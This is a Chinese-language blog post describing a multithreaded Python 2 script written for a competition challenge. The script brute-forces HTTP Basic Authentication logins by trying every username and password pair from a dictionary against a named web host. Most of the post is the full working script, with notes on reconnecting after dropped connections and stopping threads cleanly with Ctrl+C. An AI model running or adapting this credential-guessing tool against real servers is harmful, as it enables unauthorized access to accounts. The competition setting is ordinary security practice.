最近在做一个比赛
有道题给了一个字典,user和pass都在字典中
服务器没有验证码
摆明了要用脚本跑username和password
顺便把以前想实现的给实现了。。
人生啊,不要拖拖拉拉
零、遇到的问题:
1、脚本跑着跑着就断线了,怎么重连呢?
2、主线程按Ctrl+C,不能退出
3、多线程打印错行,不能老实的一行一行地打印
一、脚本跑着跑着就断线了,怎么重连呢?
把多线程中的调用函数如def login()加一个try except,在except中重新调用login()即可
为了更加人性化,加入了两个标记变量i和j(也就是start_user和start_pass),标记从i和j处重新跑
二、主线程按Ctrl+C,不能退出
这个Ctrl+C比较棘手,参考文章:http://my.oschina.net/apoptosis/blog/125099
主要用信号量的方法,分6个小步骤来解决就好了:
1、
定义一个全局变量:is_exit = False
2、
定义一个处理变量的函数:
def handler(signum,frame):
global is_exit
is_exit = True
tstr = "receive a signal %d,is_exit = %d \n" % (signum,is_exit)
sys.stdout.write(tstr)
3、
在main函数中注册信号捕捉函数:
#修改is_exit信号,让子线程也能接受Ctrl+C
#用函数signal注册一个信号捕捉函数,捕捉到后交给handle去处理
signal.signal(signal.SIGINT,handler)
signal.signal(signal.SIGTERM,handler)
在子线程函数,本例子中是login(),添加处理信号变更的处理:
#修改全局变量,接受到Ctrl+C,is_exit就会变成True,就会退出
if is_exit:
tstr = "thread"+str(index)+", receive a signal to exit...\n"
sys.stdout.write(tstr)
return
5、
将子线程设置为后台运行
tmpth = threading.Thread(target = login,args=(i,0,0,))
tmpth.setDaemon(True)
6、
修改tmpth.join()
为自定义的等待代码:
#for i in range(th_num):
# ths[i].join()
while True:
alive = False
for i in range(th_num):
alive = alive or ths[i].isAlive()
if not alive:
break
实际上结果是良好的:
三、多线程打印错行,不能老实的一行一行地打印
那么,为什么呢?
python shell 下help(print) ,它说print是输出到sys.stdout 中,也是调用write
一样的函数,不一样的效果,我怀疑是print没有维护一个buffer,而sys.stdout.write的时候有维护,导致了
前者竞争输出,后者有个缓冲区导致输出很规整。(以上纯属猜想,因为py文档英文也看不懂,网上也没有好资料,实验也不好做。。)
四、所有的代码
# -*- coding: cp936 -*-
import urllib
import httplib
import base64
import threading
import sys,os,time,signal
#导入dic字典
f = open('youcanfindit.dic','r')
dic = []
while True:
t = f.readline()
if not t:
break
dic.append(t.strip('\n'))
f.close()
#只需要输入th线程数量,程序自动配置后每个线程的case数
#比如某些高富帅的线程可以设置为100,我的最高只能40,否则内存就不够用了。。
#这里强调,不是线程越多越快,线程多,只是说开始办事的人很多,每个人平摊下来任务少了,没说任务效率变快
#请考虑py的调度,每个时刻只有一个线程在运行,调度的时间大大增多,这是个综合考虑的问题
th_num = 10
dic_len = len(dic)
case_in_th_num = dic_len/th_num
case_in_last_th_num = dic_len - th_num * case_in_th_num
#响应Ctrl+C
is_exit = False
def handler(signum,frame):
global is_exit
is_exit = True
tstr = "receive a signal %d,is_exit = %d \n" % (signum,is_exit)
sys.stdout.write(tstr)
#支持断线重连,start_user 和 start_pass 标记了user和pass重连的位置
def login(index,start_user,start_pass):
global is_exit
if index == th_num-1:
name = dic[case_in_th_num*index:case_in_th_num*index+case_in_last_th_num]
else:
name = dic[100*index:100*index+100]
for i in range(start_user,len(name)):
for j in range(len(dic)):
#修改全局变量,接受到Ctrl+C,is_exit就会变成True,就会退出
if is_exit:
tstr = "thread"+str(index)+", receive a signal to exit...\n"
sys.stdout.write(tstr)
return
#记录断线的i(user)和j(pass),从i重新跑一遍,j依赖于i
if i == start_user:
if j < start_pass:
continue
name_pass = base64.b64encode(name[i]+':'+dic[j])
headers = {
'Host': 'wocao.ismilent.com',
'Connection': 'keep-alive',
'Cache-Control':'max-age=0',
'Authorization' : 'Basic '+name_pass,
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36',
'Accept-Encoding': 'gzip,deflate,sdch',
'Accept-Language': 'zh-CN,zh;q=0.8'
}
try:
conn = httplib.HTTPConnection('wocao.ismilent.com',80)
conn.request('GET','',None,headers)
res = conn.getresponse()
tstr = str(index)+","+str(i)+":"+str(j)+"--"+name[i]+":"+dic[j]+"\n"
sys.stdout.write(tstr)
if res.reason != 'Unauthorized':
print res
out = open('out.txt','w')
out.write(name[i]+":"+dic[j])
out.close()
print name[i],dic[j],'!!!!!!!!!!!!!Success!!!Finished...!!!!!!!!!!!!!'
exit(-2)
except:
#断线重连,记录i,j
#这里注意如果获取到了name和pass,那么会进去if res.reason != 'Unauthorized':中
#然后弹出个框框问你是否要结束,如果点击否,会触发异常
#进入这里的login,那么i,j又是原来的那个正确的user pass 又会问你是否退出,以下循环!
#这不是bug!!!
tstr = "reconnecting..."+str(i)+":"+str(j)+"\n"
sys.stdout.write(tstr)
#login(index,i,j)
if __name__ == '__main__':
#修改is_exit信号,让子线程也能接受Ctrl+C
signal.signal(signal.SIGINT,handler)
signal.signal(signal.SIGTERM,handler)
ths = []
for i in range(th_num):
print 'threading '+str(i)
tmpth = threading.Thread(target = login,args=(i,0,0,))
tmpth.setDaemon(True)
ths.append(tmpth)
tmpth.start()
#for i in range(th_num):
# ths[i].join()
while True:
alive = False
for i in range(th_num):
alive = alive or ths[i].isAlive()
if not alive:
break
print '!!!!!!!!!!Sorry,find nothing,finished!!!!!!!!!'